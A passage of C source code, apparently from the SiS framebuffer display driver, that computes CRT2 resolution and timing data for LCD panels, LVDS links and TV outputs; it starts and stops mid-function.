ModeIdIndex) { if(ModeNo <= 0x13) return ((unsigned short)SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_ResInfo); else return ((unsigned short)SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_RESINFO); } static void SiS_GetCRT2ResInfo(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex) { unsigned short xres, yres, modeflag=0, resindex; if(SiS_Pr->UseCustomMode) { xres = SiS_Pr->CHDisplay; if(SiS_Pr->CModeFlag & HalfDCLK) xres <<= 1; SiS_Pr->SiS_VGAHDE = SiS_Pr->SiS_HDE = xres; /* DoubleScanMode-check done in CheckCalcCustomMode()! */ SiS_Pr->SiS_VGAVDE = SiS_Pr->SiS_VDE = SiS_Pr->CVDisplay; return; } resindex = SiS_GetResInfo(SiS_Pr,ModeNo,ModeIdIndex); if(ModeNo <= 0x13) { xres = SiS_Pr->SiS_StResInfo[resindex].HTotal; yres = SiS_Pr->SiS_StResInfo[resindex].VTotal; } else { xres = SiS_Pr->SiS_ModeResInfo[resindex].HTotal; yres = SiS_Pr->SiS_ModeResInfo[resindex].VTotal; modeflag = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_ModeFlag; } if(!SiS_Pr->SiS_IF_DEF_DSTN && !SiS_Pr->SiS_IF_DEF_FSTN) { if((SiS_Pr->ChipType >= SIS_315H) && (SiS_Pr->SiS_IF_DEF_LVDS == 1)) { if((ModeNo != 0x03) && (SiS_Pr->SiS_SetFlag & SetDOSMode)) { if(yres == 350) yres = 400; } if(SiS_GetReg(SiS_Pr->SiS_P3d4,0x3a) & 0x01) { if(ModeNo == 0x12) yres = 400; } } if(modeflag & HalfDCLK) xres <<= 1; if(modeflag & DoubleScanMode) yres <<= 1; } if((SiS_Pr->SiS_VBType & VB_SISVB) && (!(SiS_Pr->SiS_VBType & VB_NoLCD))) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { switch(SiS_Pr->SiS_LCDResInfo) { case Panel_1024x768: if(!(SiS_Pr->SiS_SetFlag & LCDVESATiming)) { if(!(SiS_Pr->SiS_LCDInfo & DontExpandLCD)) { if(yres == 350) yres = 357; if(yres == 400) yres = 420; if(yres == 480) yres = 525; } } break; case Panel_1280x1024: if(!(SiS_Pr->SiS_LCDInfo & DontExpandLCD)) { /* BIOS bug - does this regardless of scaling */ if(yres == 400) yres = 405; } if(yres == 350) yres = 360; if(SiS_Pr->SiS_SetFlag & LCDVESATiming) { if(yres == 360) yres = 375; } break; case Panel_1600x1200: if(!(SiS_Pr->SiS_SetFlag & LCDVESATiming)) { if(yres == 1024) yres = 1056; } break; } } } else { if(SiS_Pr->SiS_VBType & VB_SISVB) { if(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToHiVision)) { if(xres == 720) xres = 640; } } else if(xres == 720) xres = 640; if(SiS_Pr->SiS_SetFlag & SetDOSMode) { yres = 400; if(SiS_Pr->ChipType >= SIS_315H) { if(SiS_GetReg(SiS_Pr->SiS_P3c4,0x17) & 0x80) yres = 480; } else { if(SiS_GetReg(SiS_Pr->SiS_P3c4,0x13) & 0x80) yres = 480; } if(SiS_Pr->SiS_IF_DEF_DSTN || SiS_Pr->SiS_IF_DEF_FSTN) yres = 480; } } SiS_Pr->SiS_VGAHDE = SiS_Pr->SiS_HDE = xres; SiS_Pr->SiS_VGAVDE = SiS_Pr->SiS_VDE = yres; } /*********************************************/ /* GET CRT2 TIMING DATA */ /*********************************************/ static void SiS_GetCRT2Ptr(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RefreshRateTableIndex, unsigned short *CRT2Index, unsigned short *ResIndex) { unsigned short tempbx=0, tempal=0, resinfo=0; if(ModeNo <= 0x13) { tempal = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_CRT2CRTC; } else { tempal = SiS_Pr->SiS_RefIndex[RefreshRateTableIndex].Ext_CRT2CRTC; resinfo = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_RESINFO; } if((SiS_Pr->SiS_VBType & VB_SISVB) && (SiS_Pr->SiS_IF_DEF_LVDS == 0)) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { /* LCD */ tempbx = SiS_Pr->SiS_LCDResInfo; if(!(SiS_Pr->SiS_SetFlag & LCDVESATiming)) tempbx += 32; /* patch index */ if(SiS_Pr->SiS_LCDResInfo == Panel_1680x1050) { if (resinfo == SIS_RI_1280x800) tempal = 9; else if(resinfo == SIS_RI_1400x1050) tempal = 11; } else if((SiS_Pr->SiS_LCDResInfo == Panel_1280x800) || (SiS_Pr->SiS_LCDResInfo == Panel_1280x800_2) || (SiS_Pr->SiS_LCDResInfo == Panel_1280x854)) { if (resinfo == SIS_RI_1280x768) tempal = 9; } if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) { /* Pass 1:1 only (center-screen handled outside) */ /* This is never called for the panel's native resolution */ /* since Pass1:1 will not be set in this case */ tempbx = 100; if(ModeNo >= 0x13) { tempal = SiS_Pr->SiS_RefIndex[RefreshRateTableIndex].Ext_CRT2CRTC_NS; } } #ifdef CONFIG_FB_SIS_315 if(SiS_Pr->SiS_CustomT == CUT_COMPAQ1280) { if(SiS_Pr->SiS_LCDResInfo == Panel_1280x1024) { if(!(SiS_Pr->SiS_LCDInfo & DontExpandLCD)) { tempbx = 200; if(!(SiS_Pr->SiS_SetFlag & LCDVESATiming)) tempbx++; } } } #endif } else { /* TV */ if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) { /* if(SiS_Pr->SiS_VGAVDE > 480) SiS_Pr->SiS_TVMode &= (~TVSetTVSimuMode); */ tempbx = 2; if(SiS_Pr->SiS_VBInfo & SetInSlaveMode) { tempbx = 13; if(!(SiS_Pr->SiS_TVMode & TVSetTVSimuMode)) tempbx = 14; } } else if(SiS_Pr->SiS_VBInfo & SetCRT2ToYPbPr525750) { if(SiS_Pr->SiS_TVMode & TVSetYPbPr750p) tempbx = 7; else if(SiS_Pr->SiS_TVMode & TVSetYPbPr525p) tempbx = 6; else tempbx = 5; if(SiS_Pr->SiS_TVMode & TVSetTVSimuMode) tempbx += 5; } else { if(SiS_Pr->SiS_TVMode & TVSetPAL) tempbx = 3; else tempbx = 4; if(SiS_Pr->SiS_TVMode & TVSetTVSimuMode) tempbx += 5; } } tempal &= 0x3F; if(ModeNo > 0x13) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToTVNoHiVision) { switch(resinfo) { case SIS_RI_720x480: tempal = 6; if(SiS_Pr->SiS_TVMode & (TVSetPAL | TVSetPALN)) tempal = 9; break; case SIS_RI_720x576: case SIS_RI_768x576: case SIS_RI_1024x576: /* Not in NTSC or YPBPR mode (except 1080i)! */ tempal = 6; if(SiS_Pr->SiS_VBInfo & SetCRT2ToYPbPr525750) { if(SiS_Pr->SiS_TVMode & TVSetYPbPr750p) tempal = 8; } break; case SIS_RI_800x480: tempal = 4; break; case SIS_RI_512x384: case SIS_RI_1024x768: tempal = 7; if(SiS_Pr->SiS_VBInfo & SetCRT2ToYPbPr525750) { if(SiS_Pr->SiS_TVMode & TVSetYPbPr525p) tempal = 8; } break; case SIS_RI_1280x720: if(SiS_Pr->SiS_VBInfo & SetCRT2ToYPbPr525750) { if(SiS_Pr->SiS_TVMode & TVSetYPbPr750p) tempal = 9; } break; } } } *CRT2Index = tempbx; *ResIndex = tempal; } else { /* LVDS, 301B-DH (if running on LCD) */ tempbx = 0; if((SiS_Pr->SiS_IF_DEF_CH70xx) && (SiS_Pr->SiS_VBInfo & SetCRT2ToTV)) { tempbx = 90; if(SiS_Pr->SiS_TVMode & TVSetPAL) { tempbx = 92; if(SiS_Pr->SiS_ModeType > ModeVGA) { if(SiS_Pr->SiS_CHSOverScan) tempbx = 99; } if(SiS_Pr->SiS_TVMode & TVSetPALM) tempbx = 94; else if(SiS_Pr->SiS_TVMode & TVSetPALN) tempbx = 96; } if(tempbx != 99) { if(SiS_Pr->SiS_TVMode & TVSetCHOverScan) tempbx++; } } else { switch(SiS_Pr->SiS_LCDResInfo) { case Panel_640x480: tempbx = 12; break; case Panel_320x240_1: tempbx = 10; break; case Panel_320x240_2: case Panel_320x240_3: tempbx = 14; break; case Panel_800x600: tempbx = 16; break; case Panel_1024x600: tempbx = 18; break; case Panel_1152x768: case Panel_1024x768: tempbx = 20; break; case Panel_1280x768: tempbx = 22; break; case Panel_1280x1024: tempbx = 24; break; case Panel_1400x1050: tempbx = 26; break; case Panel_1600x1200: tempbx = 28; break; #ifdef CONFIG_FB_SIS_300 case Panel_Barco1366: tempbx = 80; break; #endif } switch(SiS_Pr->SiS_LCDResInfo) { case Panel_320x240_1: case Panel_320x240_2: case Panel_320x240_3: case Panel_640x480: break; default: if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) tempbx++; } if(SiS_Pr->SiS_LCDInfo & LCDPass11) tempbx = 30; #ifdef CONFIG_FB_SIS_300 if(SiS_Pr->SiS_CustomT == CUT_BARCO1024) { tempbx = 82; if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) tempbx++; } else if(SiS_Pr->SiS_CustomT == CUT_PANEL848 || SiS_Pr->SiS_CustomT == CUT_PANEL856) { tempbx = 84; if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) tempbx++; } #endif } (*CRT2Index) = tempbx; (*ResIndex) = tempal & 0x1F; } } static void SiS_GetRAMDAC2DATA(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RefreshRateTableIndex) { unsigned short tempax=0, tempbx=0, index, dotclock; unsigned short temp1=0, modeflag=0, tempcx=0; SiS_Pr->SiS_RVBHCMAX = 1; SiS_Pr->SiS_RVBHCFACT = 1; if(ModeNo <= 0x13) { modeflag = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_ModeFlag; index = SiS_GetModePtr(SiS_Pr,ModeNo,ModeIdIndex); tempax = SiS_Pr->SiS_StandTable[index].CRTC[0]; tempbx = SiS_Pr->SiS_StandTable[index].CRTC[6]; temp1 = SiS_Pr->SiS_StandTable[index].CRTC[7]; dotclock = (modeflag & Charx8Dot) ? 8 : 9; } else { modeflag = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_ModeFlag; index = SiS_GetRefCRT1CRTC(SiS_Pr, RefreshRateTableIndex, SiS_Pr->SiS_UseWideCRT2); tempax = SiS_Pr->SiS_CRT1Table[index].CR[0]; tempax |= (SiS_Pr->SiS_CRT1Table[index].CR[14] << 8); tempax &= 0x03FF; tempbx = SiS_Pr->SiS_CRT1Table[index].CR[6]; tempcx = SiS_Pr->SiS_CRT1Table[index].CR[13] << 8; tempcx &= 0x0100; tempcx <<= 2; tempbx |= tempcx; temp1 = SiS_Pr->SiS_CRT1Table[index].CR[7]; dotclock = 8; } if(temp1 & 0x01) tempbx |= 0x0100; if(temp1 & 0x20) tempbx |= 0x0200; tempax += 5; tempax *= dotclock; if(modeflag & HalfDCLK) tempax <<= 1; tempbx++; SiS_Pr->SiS_VGAHT = SiS_Pr->SiS_HT = tempax; SiS_Pr->SiS_VGAVT = SiS_Pr->SiS_VT = tempbx; } static void SiS_CalcPanelLinkTiming(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RefreshRateTableIndex) { unsigned short ResIndex; if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) { if(SiS_Pr->SiS_LCDInfo & LCDPass11) { if(SiS_Pr->UseCustomMode) { ResIndex = SiS_Pr->CHTotal; if(SiS_Pr->CModeFlag & HalfDCLK) ResIndex <<= 1; SiS_Pr->SiS_VGAHT = SiS_Pr->SiS_HT = ResIndex; SiS_Pr->SiS_VGAVT = SiS_Pr->SiS_VT = SiS_Pr->CVTotal; } else { if(ModeNo < 0x13) { ResIndex = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_CRT2CRTC; } else { ResIndex = SiS_Pr->SiS_RefIndex[RefreshRateTableIndex].Ext_CRT2CRTC_NS; } if(ResIndex == 0x09) { if(SiS_Pr->Alternate1600x1200) ResIndex = 0x20; /* 1600x1200 LCDA */ else if(SiS_Pr->SiS_IF_DEF_LVDS == 1) ResIndex = 0x21; /* 1600x1200 LVDS */ } SiS_Pr->SiS_VGAHT = SiS_Pr->SiS_NoScaleData[ResIndex].VGAHT; SiS_Pr->SiS_VGAVT = SiS_Pr->SiS_NoScaleData[ResIndex].VGAVT; SiS_Pr->SiS_HT = SiS_Pr->SiS_NoScaleData[ResIndex].LCDHT; SiS_Pr->SiS_VT = SiS_Pr->SiS_NoScaleData[ResIndex].LCDVT; } } else { SiS_Pr->SiS_VGAHT = SiS_Pr->SiS_HT = SiS_Pr->PanelHT; SiS_Pr->SiS_VGAVT = SiS_Pr->SiS_VT = SiS_Pr->PanelVT; } } else { /* This handles custom modes and custom panels */ SiS_Pr->SiS_HDE = SiS_Pr->PanelXRes; SiS_Pr->SiS_VDE = SiS_Pr->PanelYRes; SiS_Pr->SiS_HT = SiS_Pr->PanelHT; SiS_Pr->SiS_VT = SiS_Pr->PanelVT; SiS_Pr->SiS_VGAHT = SiS_Pr->PanelHT - (SiS_Pr->PanelXRes - SiS_Pr->SiS_VGAHDE); SiS_Pr->SiS_VGAVT = SiS_Pr->PanelVT - (SiS_Pr->PanelYRes - SiS_Pr->SiS_VGAVDE); } } static void SiS_GetCRT2DataLVDS(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RefreshRateTableIndex) { unsigned short CRT2Index, ResIndex, backup; const struct SiS_LVDSData *LVDSData = NULL; SiS_GetCRT2ResInfo(SiS_Pr, ModeNo, ModeIdIndex); if(SiS_Pr->SiS_VBType & VB_SISVB) { SiS_Pr->SiS_RVBHCMAX = 1; SiS_Pr->SiS_RVBHCFACT = 1; SiS_Pr->SiS_NewFlickerMode = 0; SiS_Pr->SiS_RVBHRS = 50; SiS_Pr->SiS_RY1COE = 0; SiS_Pr->SiS_RY2COE = 0; SiS_Pr->SiS_RY3COE = 0; SiS_Pr->SiS_RY4COE = 0; SiS_Pr->SiS_RVBHRS2 = 0; } if((SiS_Pr->SiS_VBType & VB_SISVB) && (SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA)) { #ifdef CONFIG_FB_SIS_315 SiS_CalcPanelLinkTiming(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); SiS_CalcLCDACRT1Timing(SiS_Pr, ModeNo, ModeIdIndex); #endif } else { /* 301BDH needs LVDS Data */ backup = SiS_Pr->SiS_IF_DEF_LVDS; if((SiS_Pr->SiS_VBType & VB_NoLCD) && (SiS_Pr->SiS_VBInfo & SetCRT2ToLCD)) { SiS_Pr->SiS_IF_DEF_LVDS = 1; } SiS_GetCRT2Ptr(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex, &CRT2Index, &ResIndex); SiS_Pr->SiS_IF_DEF_LVDS = backup; switch(CRT2Index) { case 10: LVDSData = SiS_Pr->SiS_LVDS320x240Data_1; break; case 14: LVDSData = SiS_Pr->SiS_LVDS320x240Data_2; break; case 12: LVDSData = SiS_Pr->SiS_LVDS640x480Data_1; break; case 16: LVDSData = SiS_Pr->SiS_LVDS800x600Data_1; break; case 18: LVDSData = SiS_Pr->SiS_LVDS1024x600Data_1; break; case 20: LVDSData = SiS_Pr->SiS_LVDS1024x768Data_1; break; #ifdef CONFIG_FB_SIS_300 case 80: LVDSData = SiS_Pr->SiS_LVDSBARCO1366Data_1; break; case 81: LVDSData = SiS_Pr->SiS_LVDSBARCO1366Data_2; break; case 82: LVDSData = SiS_Pr->SiS_LVDSBARCO1024Data_1; break; case 84: LVDSData = SiS_Pr->SiS_LVDS848x480Data_1; break; case 85: LVDSData = SiS_Pr->SiS_LVDS848x480Data_2; break; #endif case 90: LVDSData = SiS_Pr->SiS_CHTVUNTSCData; break; case 91: LVDSData = SiS_Pr->SiS_CHTVONTSCData; break; case 92: LVDSData = SiS_Pr->SiS_CHTVUPALData; break; case 93: LVDSData = SiS_Pr->SiS_CHTVOPALData; break; case 94: LVDSData = SiS_Pr->SiS_CHTVUPALMData; break; case 95: LVDSData = SiS_Pr->SiS_CHTVOPALMData; break; case 96: LVDSData = SiS_Pr->SiS_CHTVUPALNData; break; case 97: LVDSData = SiS_Pr->SiS_CHTVOPALNData; break; case 99: LVDSData = SiS_Pr->SiS_CHTVSOPALData; break; } if(LVDSData) { SiS_Pr->SiS_VGAHT = (LVDSData+ResIndex)->VGAHT; SiS_Pr->SiS_VGAVT = (LVDSData+ResIndex)->VGAVT; SiS_Pr->SiS_HT = (LVDSData+ResIndex)->LCDHT; SiS_Pr->SiS_VT = (LVDSData+ResIndex)->LCDVT; } else { SiS_CalcPanelLinkTiming(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); } if( (!(SiS_Pr->SiS_VBType & VB_SISVB)) && (SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) && (!(SiS_Pr->SiS_LCDInfo & LCDPass11)) ) { if( (!(SiS_Pr->SiS_LCDInfo & DontExpandLCD)) || (SiS_Pr->SiS_SetFlag & SetDOSMode) ) { SiS_Pr->SiS_HDE = SiS_Pr->PanelXRes; SiS_Pr->SiS_VDE = SiS_Pr->PanelYRes; #ifdef CONFIG_FB_SIS_300 if(SiS_Pr->SiS_CustomT == CUT_BARCO1366) { if(ResIndex < 0x08) { SiS_Pr->SiS_HDE = 1280; SiS_Pr->SiS_VDE = 1024; } } #endif } } } } static void SiS_GetCRT2Data301(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex, unsigned short RefreshRateTableIndex) { unsigned char *ROMAddr = NULL; unsigned short tempax, tempbx, modeflag, romptr=0; unsigned short resinfo, CRT2Index, ResIndex; const struct SiS_LCDData *LCDPtr = NULL; const struct SiS_TVData *TVPtr = NULL; #ifdef CONFIG_FB_SIS_315 short resinfo661; #endif if(ModeNo <= 0x13) { modeflag = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_ModeFlag; resinfo = SiS_Pr->SiS_SModeIDTable[ModeIdIndex].St_ResInfo; } else if(SiS_Pr->UseCustomMode) { modeflag = SiS_Pr->CModeFlag; resinfo = 0; } else { modeflag = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_ModeFlag; resinfo = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_RESINFO; #ifdef CONFIG_FB_SIS_315 resinfo661 = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].ROMMODEIDX661; if( (SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) && (SiS_Pr->SiS_SetFlag & LCDVESATiming) && (resinfo661 >= 0) && (SiS_Pr->SiS_NeedRomModeData) ) { if((ROMAddr = GetLCDStructPtr661(SiS_Pr))) { if((romptr = (SISGETROMW(21)))) { romptr += (resinfo661 * 10); ROMAddr = SiS_Pr->VirtualRomBase; } } } #endif } SiS_Pr->SiS_NewFlickerMode = 0; SiS_Pr->SiS_RVBHRS = 50; SiS_Pr->SiS_RY1COE = 0; SiS_Pr->SiS_RY2COE = 0; SiS_Pr->SiS_RY3COE = 0; SiS_Pr->SiS_RY4COE = 0; SiS_Pr->SiS_RVBHRS2 = 0; SiS_GetCRT2ResInfo(SiS_Pr,ModeNo,ModeIdIndex); if(SiS_Pr->SiS_VBInfo & SetCRT2ToRAMDAC) { if(SiS_Pr->UseCustomMode) { SiS_Pr->SiS_RVBHCMAX = 1; SiS_Pr->SiS_RVBHCFACT = 1; SiS_Pr->SiS_HDE = SiS_Pr->SiS_VGAHDE; SiS_Pr->SiS_VDE = SiS_Pr->SiS_VGAVDE; tempax = SiS_Pr->CHTotal; if(modeflag & HalfDCLK) tempax <<= 1; SiS_Pr->SiS_VGAHT = SiS_Pr->SiS_HT = tempax; SiS_Pr->SiS_VGAVT = SiS_Pr->SiS_VT = SiS_Pr->CVTotal; } else { SiS_GetRAMDAC2DATA(SiS_Pr, ModeNo, ModeIdIndex, RefreshRateTableIndex); } } else if(SiS_Pr->SiS_VBInfo & SetCRT2ToTV) { SiS_GetCRT2Ptr(SiS_Pr,ModeNo,ModeIdIndex,RefreshRateTableIndex, &CRT2Index,&ResIndex); switch(CRT2Index) { case 2: TVPtr = SiS_Pr->SiS_ExtHiTVData; break; case 3: TVPtr = SiS_Pr->SiS_ExtPALData; break; case 4: TVPtr = SiS_Pr->SiS_ExtNTSCData; break; case 5: TVPtr = SiS_Pr->SiS_Ext525iData; break; case 6: TVPtr = SiS_Pr->SiS_Ext525pData; break; case 7: TVPtr = SiS_Pr->SiS_Ext750pData; break; case 8: TVPtr = SiS_Pr->SiS_StPALData; break; case 9: TVPtr = SiS_Pr->SiS_StNTSCData; break; case 10: TVPtr = SiS_Pr->SiS_St525iData; break; case 11: TVPtr = SiS_Pr->SiS_St525pData; break; case 12: TVPtr = SiS_Pr->SiS_St750pData; break; case 13: TVPtr = SiS_Pr->SiS_St1HiTVData; break; case 14: TVPtr = SiS_Pr->SiS_St2HiTVData; break; default: TVPtr = SiS_Pr->SiS_StPALData; break; } SiS_Pr->SiS_RVBHCMAX = (TVPtr+ResIndex)->RVBHCMAX; SiS_Pr->SiS_RVBHCFACT = (TVPtr+ResIndex)->RVBHCFACT; SiS_Pr->SiS_VGAHT = (TVPtr+ResIndex)->VGAHT; SiS_Pr->SiS_VGAVT = (TVPtr+ResIndex)->VGAVT; SiS_Pr->SiS_HDE = (TVPtr+ResIndex)->TVHDE; SiS_Pr->SiS_VDE = (TVPtr+ResIndex)->TVVDE; SiS_Pr->SiS_RVBHRS2 = (TVPtr+ResIndex)->RVBHRS2 & 0x0fff; if(modeflag & HalfDCLK) { SiS_Pr->SiS_RVBHRS = (TVPtr+ResIndex)->HALFRVBHRS; if(SiS_Pr->SiS_RVBHRS2) { SiS_Pr->SiS_RVBHRS2 = ((SiS_Pr->SiS_RVBHRS2 + 3) >> 1) - 3; tempax = ((TVPtr+ResIndex)->RVBHRS2 >> 12) & 0x07; if((TVPtr+ResIndex)->RVBHRS2 & 0x8000) SiS_Pr->SiS_RVBHRS2 -= tempax; else SiS_Pr->SiS_RVBHRS2 += tempax; } } else { SiS_Pr->SiS_RVBHRS = (TVPtr+ResIndex)->RVBHRS; } SiS_Pr->SiS_NewFlickerMode = ((TVPtr+ResIndex)->FlickerMode) << 7; if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) { if((resinfo == SIS_RI_960x600) || (resinfo == SIS_RI_1024x768) || (resinfo == SIS_RI_1280x1024) || (resinfo == SIS_RI_1280x720)) { SiS_Pr->SiS_NewFlickerMode = 0x40; } if(SiS_Pr->SiS_VGAVDE == 350) SiS_Pr->SiS_TVMode |= TVSetTVSimuMode; SiS_Pr->SiS_HT = ExtHiTVHT; SiS_Pr->SiS_VT = ExtHiTVVT; if(SiS_Pr->SiS_VBInfo & SetInSlaveMode) { if(SiS_Pr->SiS_TVMode & TVSetTVSimuMode) { SiS_Pr->SiS_HT = StHiTVHT; SiS_Pr->SiS_VT = StHiTVVT; } } } else if(SiS_Pr->SiS_VBInfo & SetCRT2ToYPbPr525750) { if(SiS_Pr->SiS_TVMode & TVSetYPbPr750p) { SiS_Pr->SiS_HT = 1650; SiS_Pr->SiS_VT = 750; } else if(SiS_Pr->SiS_TVMode & TVSetYPbPr525p) { SiS_Pr->SiS_HT = NTSCHT; if(SiS_Pr->SiS_TVMode & TVSet525p1024) SiS_Pr->SiS_HT = NTSC2HT; SiS_Pr->SiS_VT = NTSCVT; } else { SiS_Pr->SiS_HT = NTSCHT; if(SiS_Pr->SiS_TVMode & TVSetNTSC1024) SiS_Pr->SiS_HT = NTSC2HT; SiS_Pr->SiS_VT = NTSCVT; } } else { SiS_Pr->SiS_RY1COE = (TVPtr+ResIndex)->RY1COE; SiS_Pr->SiS_RY2COE = (TVPtr+ResIndex)->RY2COE; SiS_Pr->SiS_RY3COE = (TVPtr+ResIndex)->RY3COE; SiS_Pr->SiS_RY4COE = (TVPtr+ResIndex)->RY4COE; if(modeflag & HalfDCLK) { SiS_Pr->SiS_RY1COE = 0x00; SiS_Pr->SiS_RY2COE = 0xf4; SiS_Pr->SiS_RY3COE = 0x10; SiS_Pr->SiS_RY4COE = 0x38; } if(!(SiS_Pr->SiS_TVMode & TVSetPAL)) { SiS_Pr->SiS_HT = NTSCHT; if(SiS_Pr->SiS_TVMode & TVSetNTSC1024) SiS_Pr->SiS_HT = NTSC2HT; SiS_Pr->SiS_VT = NTSCVT; } else { SiS_Pr->SiS_HT = PALHT; SiS_Pr->SiS_VT = PALVT; } } } else if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) { SiS_Pr->SiS_RVBHCMAX = 1; SiS_Pr->SiS_RVBHCFACT = 1; if(SiS_Pr->UseCustomMode) { SiS_Pr->SiS_HDE = SiS_Pr->SiS_VGAHDE; SiS_Pr->SiS_VDE = SiS_Pr->SiS_VGAVDE; tempax = SiS_Pr->CHTotal; if(modeflag & HalfDCLK) tempax <<= 1; SiS_Pr->SiS_VGAHT = SiS_Pr->SiS_HT = tempax; SiS_Pr->SiS_VGAVT = SiS_Pr->SiS_VT = SiS_Pr->CVTotal; } else { bool gotit = false; if((SiS_Pr->SiS_LCDInfo & DontExpandLCD) && (!(SiS_Pr->SiS_LCDInfo & LCDPass11))) { SiS_Pr->SiS_VGAHT = SiS_Pr->PanelHT; SiS_Pr->SiS_VGAVT = SiS_Pr->PanelVT; SiS_Pr->SiS_HT = SiS_Pr->PanelHT; SiS_Pr->SiS_VT = SiS_Pr->PanelVT; gotit = true; } else if( (!(SiS_Pr->SiS_LCDInfo & DontExpandLCD)) && (romptr) && (ROMAddr) ) { #ifdef CONFIG_FB_SIS_315 SiS_Pr->SiS_RVBHCMAX = ROMAddr[romptr]; SiS_Pr->SiS_RVBHCFACT = ROMAddr[romptr+1]; SiS_Pr->SiS_VGAHT = ROMAddr[romptr+2] | ((ROMAddr[romptr+3] & 0x0f) << 8); SiS_Pr->SiS_VGAVT = (ROMAddr[romptr+4] << 4) | ((ROMAddr[romptr+3] & 0xf0) >> 4); SiS_Pr->SiS_HT = ROMAddr[romptr+5] | ((ROMAddr[romptr+6] & 0x0f) << 8); SiS_Pr->SiS_VT = (ROMAddr[romptr+7] << 4) | ((ROMAddr[romptr+6] & 0xf0) >> 4); SiS_Pr->SiS_RVBHRS2 = ROMAddr[romptr+8] | ((ROMAddr[romptr+9] & 0x0f) << 8); if((SiS_Pr->SiS_RVBHRS2) && (modeflag & HalfDCLK)) { SiS_Pr->SiS_RVBHRS2 = ((SiS_Pr->SiS_RVBHRS2 + 3) >> 1) - 3; tempax = (ROMAddr[romptr+9] >> 4) & 0x07; if(ROMAddr[romptr+9] & 0x80) SiS_Pr->SiS_RVBHRS2 -= tempax; else SiS_Pr->SiS_RVBHRS2 += tempax; } if(SiS_Pr->SiS_VGAHT) gotit = true; else { SiS_Pr->SiS_LCDInfo |= DontExpandLCD; SiS_Pr->SiS_LCDInfo &= ~LCDPass11; SiS_Pr->SiS_RVBHCMAX = 1; SiS_Pr->SiS_RVBHCFACT = 1; SiS_Pr->SiS_VGAHT = SiS_Pr->PanelHT; SiS_Pr->SiS_VGAVT = SiS_Pr->PanelVT; SiS_Pr->SiS_HT = SiS_Pr->PanelHT; SiS_Pr->SiS_VT = SiS_Pr->PanelVT; SiS_Pr->SiS_RVBHRS2 = 0; gotit = true; } #endif } if(!gotit) { SiS_GetCRT2Ptr(SiS_Pr,ModeNo,ModeIdIndex,RefreshRateTableIndex, &CRT2Index,&ResIndex); switch(CRT2Index) { case Panel_1024x768 : LCDPtr = SiS_Pr->SiS_ExtLCD1024x768Data; break; case Panel_1024x768 + 32: LCDPtr = SiS_Pr->SiS_St2LCD1024x768Data; break; case Panel_1280x720 : case Panel_1280x720 + 32: LCDPtr = SiS_Pr->SiS_LCD1280x720Data; break; case Panel_1280x768_2 : LCDPtr = SiS_Pr->SiS_ExtLCD1280x768_2Data; break; case Panel_1280x768_2+ 32: LCDPtr = SiS_Pr->SiS_StLCD1280x768_2Data; break; case Panel_1280x800 : case Panel_1280x800 + 32: LCDPtr = SiS_Pr->SiS_LCD1280x800Data; break; case Panel_1280x800_2 : case Panel_1280x800_2+ 32: LCDPtr = SiS_Pr->SiS_LCD1280x800_2Data; break; case Panel_1280x854 : case Panel_1280x854 + 32: LCDPtr = SiS_Pr->SiS_LCD1280x854Data; break; case Panel_1280x960 : case Panel_1280x960 + 32: LCDPtr = SiS_Pr->SiS_LCD1280x960Data; break; case Panel_1280x1024 : LCDPtr = SiS_Pr->SiS_ExtLCD1280x1024Data; break; case Panel_1280x1024 + 32: LCDPtr = SiS_Pr->SiS_St2LCD1280x1024Data; break; case Panel_1400x1050 : LCDPtr = SiS_Pr->SiS_ExtLCD1400x1050Data; break; case Panel_1400x1050 + 32: LCDPtr = SiS_Pr->SiS_StLCD1400x1050Data; break; case Panel_1600x1200 : LCDPtr = SiS_Pr->SiS_ExtLCD1600x1200Data; break; case Panel_1600x1200 + 32: LCDPtr = SiS_Pr->SiS_StLCD1600x1200Data; break; case Panel_1680x1050 : case Panel_1680x1050 + 32: LCDPtr = SiS_Pr->SiS_LCD1680x1050Data; break; case 100 : LCDPtr = SiS_Pr->SiS_NoScaleData; break; #ifdef CONFIG_FB_SIS_315 case 200 : LCDPtr = SiS310_ExtCompaq1280x1024Data; break; case 201 : LCDPtr = SiS_Pr->SiS_St2LCD1280x1024Data; break; #endif default : LCDPtr = SiS_Pr->SiS_ExtLCD1024x768Data; break; } SiS_Pr->SiS_RVBHCMAX = (LCDPtr+ResIndex)->RVBHCMAX; SiS_Pr->SiS_RVBHCFACT = 